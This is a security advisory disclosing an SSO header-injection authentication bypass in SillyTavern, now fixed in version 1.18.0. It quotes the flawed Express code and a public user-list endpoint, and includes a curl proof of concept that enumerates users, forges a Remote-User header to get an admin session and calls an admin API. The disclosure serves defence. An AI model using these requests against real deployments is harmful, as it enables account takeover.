SillyTavern has Authentication Bypass via SSO Header Injection

Resolution

SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.

Documentation: https://docs.sillytavern.app/administration/sso/

Summary

SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP
headers to automatically log in users when SSO is configured. There is no validation that
these headers originate from a trusted reverse proxy. Any network client that can reach
the SillyTavern port directly can inject these headers and authenticate as any user,
including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or
sso.authentikAuth: true is set in config.yaml (both default to false).

Detials

SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the
tryAutoLogin function (called on every request to /login) invokes headerUserLogin,
which reads an HTTP header set by the upstream proxy and automatically creates an
authenticated session for the matching user:

src/users.js:779-801:

async function headerUserLogin(request, header = 'Remote-User') {
    if (!request.session) { return false; }

    const remoteUser = request.get(header);  // reads any header from any client
    if (!remoteUser) { return false; }

    const userHandles = await getAllUserHandles();
    for (const userHandle of userHandles) {
        if (remoteUser.toLowerCase() === userHandle) {
            const user = await storage.getItem(toKey(userHandle));
            if (user && user.enabled) {
                request.session.handle = userHandle; 
                return true;
            }
        }
    }
    return false;
}

request.get(header) is Express's wrapper for req.headers[name.toLowerCase()].
Express does not distinguish between headers set by a trusted upstream proxy and headers
injected by the end client. Without an IP allowlist check, any client can set
Remote-User: and receive an authenticated session cookie.

User Enumeration Pre-Condition

The /api/users/list endpoint is registered before requireLoginMiddleware in
src/server-main.js:236, making it publicly accessible without authentication:

src/server-main.js:236,239:

app.use('/api/users', usersPublicRouter);  // line 236 (public)
app.use(requireLoginMiddleware);           // line 239 (auth gate)

src/endpoints/users-public.js:26-57:

router.post('/list', async (_request, response) => {
    if (DISCREET_LOGIN) { return response.sendStatus(204); }
    const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags
});

This allows an attacker to enumerate all user handles (including admin handles) without
any prior credentials.

PoC

TARGET="http://localhost:8000"

# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'

# inject Remote-User header, receive authsession
curl -s -L \
  -H "Remote-User: admin-user" \
  -c /tmp/st-session.txt \
  "$TARGET/login"


# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

curl -s -X POST "$TARGET/api/users/admin/get" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -b /tmp/st-session.txt \
  -d '{}'

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Impact

An account takeover, allowing an attacker to do anything a legitimately authorized user can do.